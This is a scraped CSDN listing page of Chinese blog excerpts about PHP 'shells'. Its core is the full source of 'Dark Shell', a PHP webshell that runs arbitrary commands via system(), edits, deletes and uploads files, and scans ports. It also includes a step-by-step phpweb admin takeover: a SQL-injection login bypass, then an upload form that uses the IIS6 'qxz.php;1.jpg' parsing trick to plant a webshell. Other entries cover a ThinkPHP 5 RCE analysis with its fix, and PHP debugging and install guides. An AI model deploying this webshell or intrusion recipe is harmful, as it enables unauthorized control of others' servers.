php shell源码_shell源码 - CSDN
精华内容
参与话题
  • 各种php webshell大全

    热门讨论 2020-07-30 23:30:46
    声明:本PHP-webshell仅供学习交流以及网站安全检测之用,功能过于强大,请不要用过非法用途,否则一切后果由使用者本人承担! 使用方法:上传至网站任意目录连接即可,其中 $admin['pass'] = "admin"; 后面引号...
  • php源码 - darkshell

    2016-09-19 17:48:40
    Dark Shell body{ background: #E4E4E4; color: #666666; font-family: Verdana; font-size: 11px; } a:link{ color: #33CC99; } a:visited{
    <html>
    <head>
    <title>
    Dark Shell
    </title>
    </head>
    <body>
    <style type="text/css">
    body{
    background: #E4E4E4;
    color: #666666;
    font-family: Verdana;
    font-size: 11px;
    }
    a:link{
    color: #33CC99;
    }
    a:visited{
    color: #33CC99;
    }
    a:hover{
    text-decoration: none;
    Color: #3399FF;
    }
    table {
    font-size: 11px;
    }
    </style>
    <?php
    error_reporting (0);
    set_time_limit (0);
    if (empty ($_GET ['dir'])){
    $dir = getcwd ();
    }
    else {
    $dir = $_GET ['dir'];
    }
    chdir ($dir);
    $current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);
    
    echo "<center><h1>Dark Shell</h1></center><p><hr><p>\n";
    echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";
    echo "Current directory: " . getcwd () . "<br>\n";
    echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre></i>\n";
    echo "<pre>\n\n\n</pre>";
    
    echo "<table width = 50%>";
    echo "<tr>";
    echo "<td><a href = '".$current."&mode=system'>Shell Command</a></td>\n";
    echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";
    echo "<td><a href = '".$current."&mode=upload'>Upload file</a></td>\n";
    echo "<td><a href = '".$current."&mode=port_scan'>Port Scan</a></td>\n";
    echo "</tr></table>";
    echo "<pre>\n\n</pre>";
    
    
    
    $mode = $_GET ['mode'];
    switch ($mode){
    case 'edit':
    $file = $_GET ['file'];
    $new = $_POST ['new'];
    if (empty ($new)){
    $fp = fopen ($file, "r");
    $file_cont = fread ($fp, filesize ($file));
    $file_cont = str_replace ("</textarea>", "<textarea>", $file_cont);
    echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";
    echo "File: ". $file . "<br>\n";
    echo "<textarea name = 'new' rows = '30' cols = '50'>".$file_cont."</textarea><br>\n";
    echo "<input type = 'submit' value = 'Edit'></form>\n";
    }
    else {
    $fp = fopen ($file, "w");
    if (fwrite ($fp, $new)){
    echo $file . " edited.<p>";
    }
    else {
    echo "Unable to edit " . $file . ".<p>";
    }
    }
    fclose ($fp);
    break;
    case 'delete':
    $file = $_GET ['file'];
    if (unlink ($file)){
    echo $file . " deleted successfully.<p>";
    }
    else {
    echo "Unable to delete " . $file . ".<p>";
    }
    break;
    case 'copy':
    $src = $_GET ['src'];
    $dst = $_POST ['dst'];
    if (empty ($dst)){
    echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
    echo "Destination: <input name = 'dst'><br>\n";
    echo "<input type = 'submit' value = 'Copy'></form>\n";
    }
    else {
    if (copy ($src, $dst)){
    echo "File copied successfully.<p>\n";
    }
    else {
    echo "Unable to copy " . $src . ".<p>\n";
    }
    }
    break;
    case 'move':
    $src = $_GET ['src'];
    $dst = $_POST ['dst'];
    if (empty ($dst)){
    echo "<form action = '".$current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
    echo "Destination: <input name = 'dst'><br>\n";
    echo "<input type = 'submit' value = 'Move'></form>\n";
    }
    else {
    if (rename ($src, $dst)){
    echo "File moved successfully.<p>\n";
    }
    else {
    echo "Unable to move " . $src . ".<p>\n";
    }
    }
    break;
    case 'rename':
    $old = $_GET ['old'];
    $new = $_POST ['new'];
    if (empty ($new)){
    echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
    echo "New name: <input name = 'new'><br>\n";
    echo "<input type = 'submit' value = 'Rename'></form>\n";
    }
    else {
    if (rename ($old, $new)){
    echo "File/Directory renamed successfully.<p>\n";
    }
    else {
    echo "Unable to rename " . $old . ".<p>\n";
    }
    }
    break;
    
    case 'rmdir':
    $rm = $_GET ['rm'];
    if (rmdir ($rm)){
    echo "Directory removed successfully.<p>\n";
    }
    else {
    echo "Unable to remove " . $rm . ".<p>\n";
    }
    break;
    case 'system':
    $cmd = $_POST ['cmd'];
    if (empty ($cmd)){
    echo "<form action = '".$current . "&mode=system' method = 'POST'>\n";
    echo "Shell Command: <input name = 'cmd'>\n";
    echo "<input type = 'submit' value = 'Run'></form><p>\n";
    }
    else {
    system ($cmd);
    }
    break;
    case 'create':
    $new = $_POST ['new'];
    if (empty ($new)){
    echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";
    echo "<tr><td>New file: <input name = 'new'></td>\n";
    echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";
    }
    else {
    if ($fp = fopen ($new, "w")){
    echo "File created successfully.<p>\n";
    }
    else {
    echo "Unable to create ".$file.".<p>\n";
    }
    fclose ($fp);
    }
    break;
    case 'upload':
    $temp = $_FILES['upload_file']['tmp_name'];
    $file = basename($_FILES['upload_file']['name']);
    if (empty ($file)){
    echo "<form action = '".$current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
    echo "Local file: <input type = 'file' name = 'upload_file'>\n";
    echo "<input type = 'submit' value = 'Upload'>\n";
    echo "</form>\n<pre>\n\n</pre>";
    }
    else {
    if(move_uploaded_file($temp,$file)){
    echo "File uploaded successfully.<p>\n";
    unlink ($temp);
    }
    else {
    echo "Unable to upload " . $file . ".<p>\n";
    }
    }
    break;
    
    case 'port_scan':
    $port_range = $_POST ['port_range'];
    if (empty ($port_range)){
    echo "<table><form action = '".$current. "&mode=port_scan' method = 'POST'>";
    echo "<tr><td><input type = 'text' name = 'port_range'></td><td>";
    echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";
    echo "<tr><td><input type = 'submit' value = 'Port Scan'></td></tr></form></table>";
    }
    else {
    $range = explode (":", $port_range);
    if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){
    echo "Bad parameters.<br>";
    }
    else {
    $host = 'localhost';
    $from = $range [0];
    $to = $range [1];
    echo "Open ports:<br>";
    while ($from <= $to){
    $var = 0;
    $fp = fsockopen ($host, $from) or $var = 1;
    if ($var == 0){
    echo $from . "<br>";
    }
    $from++;
    fclose ($fp);
    }
    }
    }
    break;
    
    
    }
    
    clearstatcache ();
    
    echo "<pre>\n\n</pre>";
    echo "<table width = 100%>\n";
    $files = scandir ($dir);
    foreach ($files as $file){
    if (is_file ($file)){
    
    $size = round (filesize ($file) / 1024, 2);
    echo "<tr><td>".$file."</td>";
    echo "<td>".$size." KB</td>";
    echo "<td><a href = ".$current . "&mode=edit&file=".$file.">Edit</a></td>\n";
    echo "<td><a href = ".$current . "&mode=delete&file=".$file.">Delete</a></td>\n";
    echo "<td><a href = ".$current . "&mode=copy&src=".$file.">Copy</a></td>\n";
    echo "<td><a href = ".$current . "&mode=move&src=".$file.">Move</a></td>\n";
    echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Remame</a></td></tr>\n";
    }
    else {
    $items = scandir ($file);
    $items_num = count ($items) - 2;
    echo "<tr><td>".$file."</td>";
    echo "<td>".$items_num." Items</td>";
    echo "<td><a href = ".$current . "/" . $file.">Change directory</a></td>\n";
    echo "<td><a href = ".$current . "&mode=rmdir&rm=".$file.">Remove directory</a></td>\n";
    echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Rename directory</a></td></tr>\n";
    }
    }
    echo "</table>\n";
    ?>
    
    展开全文
  • 导师之前面试我的时候,看我的简历上(chui)写(niu)着(pi)阅读过TP3源码并自己根据思想写了个PHP框架。 刚好公司有个之前外包出去的项目是用的TP框架,然后最近(好几个月了吧??这么晚才来补洞的嘛(⊙_⊙)?)TP5...

    前言:

    了解TP5批量getshell原理

    正文:

    首先,网上查看了下漏洞形成的原理。

    简单概括:

    就是在TP5在处理URL路由信息的时候,如果没有开启强制路由的话,遇到 “\” 反斜杠开头的就认为是包含命名空间的类名,未进行任何过滤,就直接实例化了控制器。

    环境配置:

    首先就是先下载TP5源码 + 装上调试神器Xdebug + PHPStrom(这里吐槽一句,就是弄这个破调试环境!昨天浪费了我一下午!又踩了一遍新坑!)

    环境配置就不说了,网上教程一大堆,注意点那些坑就好了。

    影响范围: 版本 <= 5.0.23

    源码分析:

    首先,从入口文件下断点开始追
    在这里插入图片描述
    在这里插入图片描述
    主要初始化方法:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    漏洞总结:

    追完源码后,个人感觉这次漏洞主要爆发的有四个地方:

    1. Route.php下: parseUrlPath()函数解析Url地址的时候;
      在这里插入图片描述
    2. Router.php 下: parseUrl()函数解析控制器的时候;
      在这里插入图片描述

    3.Loader.php 下的:getModuleAndClass()函数解析类名并赋值$class类名变量时
    在这里插入图片描述
    4.App.php 下的:invokeClass() 函数实例化类名时;
    在这里插入图片描述

    个人认为这四步中只要有其中一步可以对url中的参数进行过滤处理一下就可以避免这个漏洞。

    换位思考: 如果是我的话,我可能会直接在第一步的URL地址上获取的时候进行过滤,但是,这有可能会影响到其他正常流程的类进行实例化。第二、三步也是如此,都有可能会影响到正常流程的类的实例化。 所以,在最后一步实例化类之前,还有一步获取控制器的名称(在上面追代码的流程中,不在我说得这四步里)在这一步过滤可能是目前看起来的最优解了。 而TP官方也正是这么处理的。(说明自己思考问题的时候还是不够全面,特别是改代码的时候“尤其” 并且 “额外”的需要注意改动是否会影响现有正常逻辑流程。业务开发过程中也是,因为踩过这种改代码不细心的坑啦!!你可不能再踩了!)

    修复方法:

    在获取控制器名的操作下,加入如下代码:

    if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    	throw new HttpException(404, 'controller not exists:' . $controller);
    }
    
    展开全文
  • phpweb后台拿shell方法

    千次阅读 2016-11-19 09:06:58
    首先登录后台admin.php(默认后台admin.php) 有的phpweb网站存在万能密码登录 帐号密码都输入:admin 'or '1'='1直接登录 登录后台管理系统后,然后把下面的文件保存为xxx.html,修改action,把www.xxx.com ...

    首先登录后台admin.php(默认后台admin.php)

    有的phpweb网站存在万能密码登录

    帐号密码都输入:admin 'or '1'='1直接登录


    登录后台管理系统后,然后把下面的文件保存为xxx.html,修改action,把www.xxx.com 改成你的目标网站地址。 

    <form name="uploadForm" method="post" enctype="multipart/form-data"action="http://www.xxx.com/kedit/upload_cgi/upload.php"> 
    <input type="text" name="fileName" value="qxz.php;1.jpg" /> 
    <input type="hidden" name="attachPath" value="news/pics/" /> 
    <input type="file" name="fileData" size="14" /></td> 
    <input type="submit" name="button" value="确定" /> 
    </form>
    然后选择你的马儿再上传



    上传后如果为iis6,就点击查看源码就可以找到马儿的路径了。


    PS:qxz.php;1.jpg这样的文件是允许上传的,只要服务器是IIS6就拿到webshell,低版本的apache可以试着重命名为qxz.php.jpg

    展开全文
  • PHP源码调试分析

    千次阅读 2018-08-02 03:13:16
    于是尝试搭建环境对PHP源码进行调试,希望更加深入的一些理解PHP的特性。   必备安装 目标:在Windows环境下,构建PHP7.2的源代码编译和调试环境   安装VisualStudio 首先需要安装最强IDEVisual Studio,这...

     前言

    在看代码的时候遇到了PHP的一些函数,有些函数的特性很魔性,并不好理解。 

    于是尝试搭建环境对PHP源码进行调试,希望更加深入的一些理解PHP的特性。

     

    必备安装

    目标:在Windows环境下,构建PHP7.2的源代码编译和调试环境

     

    安装VisualStudio

    首先需要安装最强IDEVisual Studio,这个软件的版本有很多,我选择的是Visual Studio Professional 2017 (version 15.7)。 
    下载链接:

    ed2k://|file|mu_visual_studio_professional_2017_version_15.3_x86_x64_11100064.exe|1069960|900673A59F0798822207F72FAA0DA6A9|/

     

    需要其他版本(VS2015等),可以到MSDN上的开发人员工具栏目自行选择下载即可。

    安装过程非常简单,注意两个调试必备勾选,其他的选项根据自己需求选择 

     

    php-sdk

    PHP SDK是用于Windows PHP构建的工具包,也是必不可少的工具。 
    下载地址:

    https://github.com/Microsoft/php-sdk-binary-tools

    我选择的版本为最新版php-sdk-2.1.7。

     

     PHP

    本文主角,我选择的版本为PHP 7.2.1。 
    下载地址:

    https://github.com/php/php-src

    下载完成后使用Git Bash切换分支

    cd php-src
    git checkout PHP-7.2.1

     

     编译PHP

    进入php-sdk的目录,可以看到目录下面有4个Windows批处理文件 

    前面安装的是Visual Studio 2017,操作系统也是64位的,因此这里选择phpsdk-vc15-x64.bat,打算编译64位的。 

    在php-sdk目录打开CMD窗口,运行phpsdk-vc15-x64.bat。 
    可以发现有了新的Shell提示符$。

    继续在新的shell下运行命令

    phpsdk_buildtree phpdev

     

    这时候我们会发现php-sdk这个目录下面会多一个名为phpdev的文件夹。 

    注意Shell的运行路径也发生了变化php-sdk\phpdev\vc15\x64\。 

     

    再将php-src整个文件夹移动至php-sdk\phpdev\vc15\x64\下面。 

     

    然后shell中进入php-src目录,执行命令,下载依赖关系组件。

    phpsdk_deps --update --branch maste

     

    成功信息如下: 

     

    运行buildconf.bat生成的configure文件,配置好参数,执行命令如下

    configure --disable-all --enable-cli --enable-debug

     

    成功信息如下:

     

    执行编译命令nmake 

     

    编译成功信息为:

    SAPI sapi\cli build complete

     

    可执行的二进制文件路径为

    php-sdk\phpdev\vc15\x64\php-src\x64\Debug_TS\php.exe

     

    观察是否输出php信息,编译成功则输出

    php.exe -v

     

    调试配置

    断点调试的需要一个趁手的工具,可以使用之前安装的Visual Studio 2017,但我个人选择的是轻量级的Vs code。

    安装Vs code,然后这里需要安装C/C++的拓展,调试的方式为启动调试。 

     

    点击调试 --> 打开配置,设置配置文件launch.json的参数如下 

     

    • program,二进制可执行文件路径。

    • args,同目录下运行的PHP文件,也就是我们要调试的文件

    • cwd,二进制可执行文件目录

     

    点击调试按钮,即可开始调试。

     

    调试getimagesize函数

    这里选择getimagesize这个函数进行断点调试。 
    探究为何这个函数如何加载网络图片资源;为何这个函数在Windows下<为通配符,

    修改调试的1.php内容如下

    <?php
    getimagesize("http://www.rai4over.cn/images/avatar.jpg");
    #getimagesize("./avatar.jpg");
    ?>

     

    在php-sdk\phpdev\vc15\x64\php-src\ext\standard\image.c中设置getimagesize的断点 

     

    点击调试后程序会停在这里则表示断点成功。 
    通常会使用F10,F11进行调试。 
    - F10,单步跳过,调试时不进入函数内部。 
    - F11,单步调试,调试时进入函数内部。

     

    比较麻烦的,单纯的F11调试耗费时间,而F10又可能跳过函数关键函数,难以定位。 

    于是我便采F10为主,提升调试效率,一边F10,一边打开Wireshark观察HTTP请求流量。 

    当过某个函数产生流量后,再F11进入函数内部进行调试。

     

    最终得到函数调用栈(由下至上):

    • send 

    • php_sockop_write 

    • _php_stream_write_buffer 

    • _php_stream_write 

    • php_stream_url_wrap_http_ex 

    • php_stream_url_wrap_http 

    • _php_stream_open_wrapper_ex 

    • php_getimagesize_from_any 

    • PHP_FUNCTION

     

    send()是Windows Api,能够通过已经建立的连接发送数据。 

    在phpdev\vc15\x64\php-src\main\streams\xp_socket.c第77行被调用。

     

    didwrite = send(sock->socket, buf, XP_SOCK_BUF_SIZE(count), (sock->is_blocked && ptimeout) ? MSG_DONTWAIT : 0);

    这也是这个函数加载网络图片资源的原因,之前印象中一直以为只能获取本地资源,踩过大坑。

    修改为获取本地图片资源

    <?php
    #getimagesize("http://www.rai4over.cn/images/avatar.jpg");
    getimagesize("./avatar.jpg");
    ?>

     

    函数栈调用 

     

    在php-sdk\phpdev\vc15\x64\php-src\Zend\zend_virtual_cwd.c第841行,发现调用了FindFirstFileExW()函数。

    hFind = FindFirstFileExW(pathw, FindExInfoBasic, &dataw, FindExSearchNameMatch, NULL, 0);

    这个函数就是<为通配符的原因,因此其他调用FindFirstFileExW()的函数应该也同样存在该问题。

    展开全文
  • PHP 源码安装

    2019-01-21 17:25:13
    一、去PHP官网下载包 http://www.php.net/ 二、PHP安装步骤 解压 configure make make install 三 、PHP开始安装 ...configure (shell脚本) 编译之前需要安装gcc 和autoconfig ./configure --p...
  • 今天才发现的问题,我用 find 查找一个 文件包是否存在 然后 查看返回值都是 0 这样子就没有办法准确的查找,而且自己写的shell 只是固定找到前一个包才能找后一个包,不能一起找,然后把没有的包显示, 我想知道...
  • linux源码编译安装php7.2.5

    千次阅读 2020-05-02 22:37:09
    1.首先官网下载php7.2.5.tar.gz,然后使用命令rz传到线上 2.tar -xzvf php7.2.5.tar.gz 解压压缩包 (下面的图是借用的php5.6.30) 3. ./configure --prefix=/usr/local/php --enable-fpm --with-fpm-user=...
  • UEFI基础——UEFI Shell

    千次阅读 2020-03-30 23:35:48
    UEFI基础——UEFI Shell
  • 网站安全一直以来是每个站长不可忽视的,网站被入侵后门就如同老鼠一般进来给大家带来一款PHP一句话扫描脚本这款源码的作者:imspider、lostwolf是 首先我们在这里膜拜一下大牛这款源码的强大在于可扫描 ...
  • phpweb后台拿shell简单方法

    千次阅读 2017-04-24 20:59:35
    关于phpweb后台拿shell简单方法。   首先登录后台admin.php   登录后台管理系统后,然后把下面的文件保存为xxx.html,修改action,把 www.xxx.com 改成你的目标网站地址。    代码文件...
  • shell的一些方式

    千次阅读 2019-04-07 22:40:01
    管理权限拿shell 需要有管理员权限才可以拿shell 如织梦cms 数据库备份拿shell 网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等 但是网站具有备份数据库备份功能,这时我们可以将...
  • 小弟花了两个小时整理了Php方面的一些热门资料,汇总了资料下载地址,有专题,有文档,有源码,希望大家喜欢~ 完整附件0豆下载:http://down.51cto.com/data/419216 附件部分预览: PHP精彩应用实例...
  • shell编程100例

    万次阅读 多人点赞 2020-04-04 21:42:30
    1、编写hello world脚本 #!/bin/bash # 编写hello world脚本 echo "Hello World!" 2、通过位置变量创建 Linux 系统账户及密码 ...#$1 是执行脚本的第一个参数,$2 是执行脚本的第二个参数 ...echo "$2" | ...
  • 学习PHP、ASP源码资料常用网站

    千次阅读 2016-08-24 15:10:32
    1.365源码之家 (http://www.365code.com) 365源码之家始建于2005年9月,是一个专门针对各大小站点提供技术及资源服务的站点,我们所 拥有的服务包括源码下载,书籍下载,技术文章 ,站点运营,管理资料,业内最新...
  • 最近一直在研究Codeigniter框架,本篇博文为大家简述解析文件上传类文件的实现,以前写过一篇CI框架优化文件上传方法以及实现多文件上传的博文,大家可以放在一起进行对比阅读。CI框架教程2——优化文件上传方法以及...
  • 你的网站是php写的你网站的代码使用的是git clone的代码, 更新代码使用的是git pull方式 自动更新php文件 1 . 在网站根目录下新建 /update.php, 并写入下面的代码, 可以把DIR修改成网站所在目录, 如果是当前目录, ...
  • 一. 安装MySQL(两种安装方式 第二种方式来自mysql 官方网站,第二种安装方式比较简洁。)第一种:我使用的的Mysql是4.0.20,源代码版,你也可以使用RPM包或者二进制版,安装方法可能不一样,请参考其它文章....
  • 小甲鱼零基础入门学习python笔记

    万次阅读 多人点赞 2020-10-05 19:38:17
    小甲鱼老师零基础入门学习Python全套资料百度云(包括小甲鱼零基础入门学习Python全套视频+全套源码+全套PPT课件+全套课后题及Python常用工具包链接、电子书籍等)请往我的资源... 000 愉快的开始 ...
  • 【LAMP】源码包搭建LAMP环境 (一) 安装Apache 【LAMP】源码包搭建LAMP环境 (二) 安装MySQL   【安装PHP】   移动到安装包所在目录 cd /usr/local/src/php-5.6.36/ 建立安装目录 mkdir /usr/local/...
1 2 3 4 5 ... 20
收藏数 26,183
精华内容 10,473
关键字:

php shell源码